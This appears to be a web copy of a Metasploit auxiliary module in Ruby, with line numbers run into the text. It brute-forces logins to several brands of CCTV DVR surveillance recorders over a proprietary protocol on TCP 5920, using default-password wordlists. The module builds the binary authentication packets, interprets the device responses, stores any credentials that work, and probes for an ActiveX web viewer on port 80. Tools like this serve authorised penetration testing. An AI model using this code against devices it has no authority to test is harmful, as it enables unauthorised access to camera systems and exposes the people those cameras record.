Path: blob/master/modules/auxiliary/scanner/misc/cctv_dvr_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::AuthBrute8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::Report1011def initialize12super(13'Name' => 'CCTV DVR Login Scanning Utility',14'Description' => %q{15This module tests for standalone CCTV DVR video surveillance16deployments specifically by MicroDigital, HIVISION, CTRing, and17numerous other rebranded devices that are utilizing default vendor18passwords. Additionally, this module has the ability to brute19force user accounts.2021Such CCTV DVR video surveillance deployments support remote22viewing through Central Management Software (CMS) via the23CMS Web Client, an IE ActiveX control hosted over HTTP, or24through Win32 or mobile CMS client software. By default,25remote authentication is handled over port 5920/TCP with video26streaming over 5921/TCP.2728After successful authentication over 5920/TCP this module29will then attempt to determine if the IE ActiveX control30is listening on the default HTTP port (80/TCP).31},32'Author' => 'Justin Cacak',33'License' => MSF_LICENSE34)3536register_options(37[38OptPath.new(39'USER_FILE',40[41false,42"File containing usernames, one per line",43File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_users.txt")44]45),46OptPath.new(47'PASS_FILE',48[49false,50"File containing passwords, one per line",51File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_pass.txt")52]53),54OptBool.new('STOP_ON_SUCCESS', [false, "Stop guessing when a credential works for a host", true]),55OptPort.new('HTTP_PORT', [true, "The HTTP port for the IE ActiveX web client interface", 80]),56Opt::RPORT(5920)57]58)59end6061def run_host(ip)62@valid_hosts = []63begin64connect6566each_user_pass { |user, pass|67do_login(user, pass)68}69rescue ::Interrupt70raise $!71rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout72print_error("Timeout or no connection on #{rhost}:#{rport}")73return74rescue ::Exception => e75print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")76return77ensure78disconnect79end8081@valid_hosts.each do |h|82http_interface_check(h)83end84end8586def http_interface_check(h)87begin88http = connect(false, {89'RPORT' => datastore['HTTP_PORT'],90'RHOST' => h91})9293http.put("GET / HTTP/1.1\r\n\r\n")9495# get() is a more suitable method than get_once in this case96data = http.get(20)9798if data =~ /DVR WebViewer/i99# Confirmed ActiveX control over HTTP, display the control name and version100# Report HTTP service info since there is a confirmed IE ActiveX control101# Code base example:102# codebase="CtrWeb.cab#version=1,1,5,4"103if data.match(/codebase="(\w{1,16})\.(\w{1,3}).version=(\d{1,3},\d{1,3},\d{1,3},\d{1,3})/)104v = "#{$1}.#{$2} v#{$3}"105else106v = "unknown version"107end108109uri = "http://#{rhost}:#{datastore['HTTP_PORT']}"110print_good("Confirmed IE ActiveX HTTP interface (#{v}): #{uri}")111112report_service(113:host => rhost,114:port => datastore['HTTP_PORT'],115:name => "http",116:info => "IE ActiveX CCTV DVR Control (#{v})"117)118else119# An HTTP server is listening on HTTP_PORT, however, does not appear to be120# the ActiveX control121print_status("An unknown HTTP interface was found on #{datastore['HTTP_PORT']}/TCP")122end123rescue124print_status("IE ActiveX HTTP interface not found on #{datastore['HTTP_PORT']}/TCP")125ensure126disconnect(http)127end128end129130def report_cred(opts)131service_data = {132address: opts[:ip],133port: opts[:port],134service_name: 'cctv_dvr',135protocol: 'tcp',136workspace_id: myworkspace_id137}138139credential_data = {140origin_type: :service,141module_fullname: fullname,142username: opts[:user],143private_data: opts[:password],144private_type: :password145}.merge(service_data)146147login_data = {148last_attempted_at: DateTime.now,149core: create_credential(credential_data),150status: Metasploit::Model::Login::Status::SUCCESSFUL,151proof: opts[:proof]152}.merge(service_data)153154create_credential_login(login_data)155end156157def do_login(user = nil, pass = nil)158vprint_status("#{rhost} - Trying username:'#{user}' with password:'#{pass}'")159160fill_length1 = 64 - user.length161162# Check if user name length is too long for submission (exceeds packet length)163if fill_length1 < 1164return165end166167# Build the authentication packet starting here168data = "\x00\x01\x00\x00\x80\x00\x00\x00" + user + ("\x00" * fill_length1)169170# Check if password length is too long for submission (exceeds packet length)171fill_length2 = 64 - pass.length172if fill_length2 < 1173return174end175176data = data + pass + ("\x00" * fill_length2)177res = nil178sock.put(data)179begin180res = sock.get_once(-1, 7)181rescue182return :abort183end184185if not (res)186disconnect187vprint_error("#{rhost} No Response")188return :abort189end190191# Analyze the response192if res == "\x00\x01\x03\x01\x00\x00\x00\x00" # Failed Password193vprint_error("#{rhost}:#{rport} Failed login as: '#{user}'")194return195196elsif res == "\x00\x01\x02\x01\x00\x00\x00\x00" # Invalid User197vprint_error("#{rhost}:#{rport} Invalid user: '#{user}'")198# Stop attempting passwords for this user since it doesn't exist199return :skip_user200201elsif res == "\x00\x01\x05\x01\x00\x00\x00\x00" or res == "\x00\x01\x01\x01\x00\x00\x00\x00"202print_good("#{rhost}:#{rport} Successful login: '#{user}' : '#{pass}'")203204# Report valid credentials under the CCTV DVR admin port (5920/TCP).205# This is a proprietary protocol.206report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.inspect)207208@valid_hosts << rhost209return :next_user210211else212vprint_error("#{rhost}:#{rport} Failed login as: '#{user}' - Unclassified Response: #{res.inspect}")213return214end215end216end217218219